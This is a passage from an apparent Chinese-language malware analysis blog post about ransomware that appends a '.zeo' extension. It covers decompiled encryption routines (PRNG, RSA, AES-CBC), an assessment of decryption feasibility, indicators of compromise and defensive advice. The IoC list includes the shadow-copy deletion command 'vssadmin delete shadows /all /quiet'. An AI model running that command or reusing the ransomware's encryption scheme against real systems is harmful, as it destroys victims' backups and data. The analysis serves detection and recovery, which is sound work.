  if ( n0x14 >= 32 )  memcpy_406D80(input_data, prng_state_4186B0, 0x20u);
  else                memcpy_406D80(input_data, prng_state_4186B0, n0x14);
  RC4_PseudoRandomGeneration_405970(rc4_state, (int)input_data, (int)input_data, n0x14); // out = state^RC4
  for ( i = 31; i >= 20; --i ) prng_state_4186B0[i] = prng_state_4186B0[i - 20];  // 状态旋转
  memcpy_406D80(prng_state_4186B0, key, 0x14u);              // state[0:20] = SHA1
  return 0;
}
state[0:4] ^= rdtsc低32; state[4:8] ^= rdtsc高32; state[0:4] ^= rdtsc低32
key20 = SHA1(state)
out = state[0:n] XOR RC4(key20) 前 n 字节
state 旋转: [20:32]←[0:12], [0:20]←key20

结论:初始状态 = 堆垃圾 + RDTSC + QPC + TickCount + PID,经 SHA1 迭代混合,
每次输出又混入新的 RDTSC。该 PRNG 不可预测,无法通过已知 IV 反推 AES 密钥。

5.4 RSA 实现

反编译佐证(rsa_encrypt_pkcs1_405CF0,PKCS#1 v1.5 类型 2 填充):

int __cdecl rsa_encrypt_pkcs1_405CF0(int a1, char *a2, unsigned __int16 n0x24, char *anti_data_4186B0)
{
  n0x20 = *(_DWORD *)(a1 + 12);                        // 模数长度 = 128
  v6 = n0x20 - n0x24 - 3;                              // 128 - 36 - 3 = 89B 填充区
  *anti_data_4186B0 = 0;  anti_data_4186B0[1] = 2;     // 00 02
  if ( (int)rsa_pad_random_4057E0(v6, anti_data_4186B0 + 2) < 0 )  // 89B 非零随机
    return -1;
  anti_data_4186B0[v6 + 2] = 0;                        // 00 分隔符
  memcpy_406D80(&anti_data_4186B0[n0x20 - n0x24], a2, n0x24);  // 36B 明文(密钥+序列号)
  v5 = bn_load_4049D0(*(_DWORD *)(a1 + 16), anti_data_4186B0, n0x20);  // 转大数
  v7 = rsa_mod_exp_405CC0(a1, v5);                     // 模幂加密
  bn_store_404AA0(*(_DWORD *)(a1 + 16), v7, (int)anti_data_4186B0, n0x20);  // 输出 128B
  bn_free_404020(*(_DWORD *)(a1 + 16));
  return n0x20;                                        // 返回 128
}
  • 公钥:N = ad03db6bc0e70af93…(1024 位),e = 0x10001(rsa_ctx_init_405B80
  • 填充:PKCS#1 v1.5 类型 2(rsa_encrypt_pkcs1_405CF0):00 02 ‖ 89B非零随机 ‖ 00 ‖ 36B明文
  • 随机填充先用 PRNG,零字节再用 MSVC rand()(LCG: seed=214013*seed+2531011rand_lcg_406E90)替换
  • 大数运算为自定义实现(sub_404x 系列,Montgomery 模幂 rsa_mod_exp_405CC0

5.5 AES 实现

反编译佐证(aes_cbc_encrypt_403960,CBC 模式核心):

char *__cdecl aes_cbc_encrypt_403960(int a1, char *a2, char *a3, int a4)
{
  memcpy_406D80((char *)v11, (char *)(a1 + 484), 0x10u);     // 取 IV
  for ( i = 0; i < 4; ++i ) v12[i + 4] = bswap_406BE0(v11[i]);
  for ( j = a4 - 16; j >= 0; j -= 16 )
  {
    memcpy_406D80((char *)v9, a2, 0x10u);  a2 += 16;         // 取明文块
    for ( i = 0; i < 4; ++i ) v12[i] = v12[i + 4] ^ bswap_406BE0(v9[i]);  // 与前一块密文异或
    aes_block_encrypt_403AE0(a1, v12);                    // AES 块加密
    for ( i = 0; i < 4; ++i ) { v12[i + 4] = v12[i]; v10[i] = bswap_406C00(v12[i + 4]); }
    memcpy_406D80(a3, (char *)v10, 0x10u);  a3 += 16;        // 输出密文块
  }
  memcpy_406D80((char *)(a1 + 484), (char *)v11, 0x10u);     // 更新 IV(链式反馈)
  return ...;
}
  • aes_4034C0:T 表实现的标准 AES 密钥扩展(256 位 → 14 轮;128 位 → 10 轮)
  • aes_cbc_encrypt_403960 / aes_block_encrypt_403AE0:标准 AES-CBC
  • 与本工具链(pycryptodome)往返验证一致(见 py/verify_decryptor.py

6. 加密突破分析(尝试解密)

6.1 攻击面评估

攻击途径 可行性 说明
分解 RSA-1024 模数 N 不可行(现网) 试除(≤2^22)、Fermat(10M次)、Pollard p-1(B=10^5)、ECM(261s) 均失败;N 为规范 1024 位半素数。理论可行但需 CADO-NFS 级别集群(数周~数月)
预测 PRNG 状态 不可行 初始状态含堆垃圾+rdtsc+QPC,熵充足;IV 与密钥均不可预测
PRNG 状态反推(已知明文) 不可行 输出 = state XOR RC4(SHA1(state)),单向
已知明文攻击 AES 不可行 AES-256-CBC + 随机 IV,无 ECB/重放类弱点
密钥复用 部分 同盘所有文件共用同一 AES 密钥;若任一文件的密钥被恢复(如未来解密器/密钥泄露),可解密同盘全部文件(本工具已实现)
大文件部分加密 部分 >1.5MB 文件仅 3×256KB 段加密,但中间明文已被截断覆盖
PKCS#1 填充预言机 不可行 无解密预言机(Bleichenbacher 不适用)

6.2 现实可行的恢复路径(按优先级)

  1. 备份/卷影副本:立即检查卷影(本样本会尝试删除,若未成功仍有救);
    对已感染磁盘做数据恢复(原文件为 DeleteFileW 删除,可能可从磁盘空闲区恢复,尤其小文件)。
  2. 等密钥泄露:该家族公钥若跨样本复用,一旦任一私钥泄露/解密器发布,
    运行 py/zeo_decryptor.py --dir <加密目录> --rsa-priv priv.pem 即可全盘解密。
  3. 同盘同钥特性:若通过任何途径(内存转储、RSA 私钥、样本比对)获得某盘 AES 密钥,
    zeo_decryptor.py --file x.zeo --aes-key <64hex> 可解密该盘所有文件。

关键结论:本样本加密实现正确(RSA-1024 保护 AES-256 密钥 + 随机 IV 的 CBC),
不存在可直接利用的算法级漏洞。解密必须依赖:私钥获取、密钥泄露、备份/数据恢复。


7. 入侵指标(IoC)

文件

  • 样本名:winhost(可任意改名,持久化后位于 System32/AppData/启动目录)
  • 勒索信:Info.hta(桌面/System32/AppData/各网络共享)、info.txt
  • 加密文件:*.[nudasurg@tuta.io].zeo,文件名含 .id-XXXXXXXX

互斥

  • Global\syncronize_WDC3A3.A
  • Global\syncronize_WDC3A3.U

注册表

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run → 样本路径
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run → 样本路径

命令行为

  • vssadmin delete shadows /all /quiet(cmd 管道执行)

网络

  • 邮件联系:nudasurg@tuta.ionudasurg@cyberfear.com
  • 样本含 ws2_32 socket 全套导入(WSAStartup/socket/send/recv/connect/gethostbyname/inet_addr),本样本内未见实际 C2 交互

特征串(内存/文件)

  • WDC3A3.zeosyncronize_nudasurg@tuta.io

8. 检测与处置建议

  1. 封堵 RDP 爆破(改默认端口/强密码/启用 NLA/限制来源 IP),该家族主要靠 RDP 传播。
  2. 部署 EDR 规则:监控 vssadmin delete shadowsmshta.exe 执行、Global\syncronize_* 互斥创建。
  3. 邮件网关过滤含 Info.hta 附件的钓鱼邮件。
  4. 被感染主机立即断网隔离,不要重启(避免卷影/恢复点被清理),优先做卷影复制与磁盘镜像。

posted @ 2026-08-29 19:29  DirWangK  阅读(25)  评论(0)    收藏  举报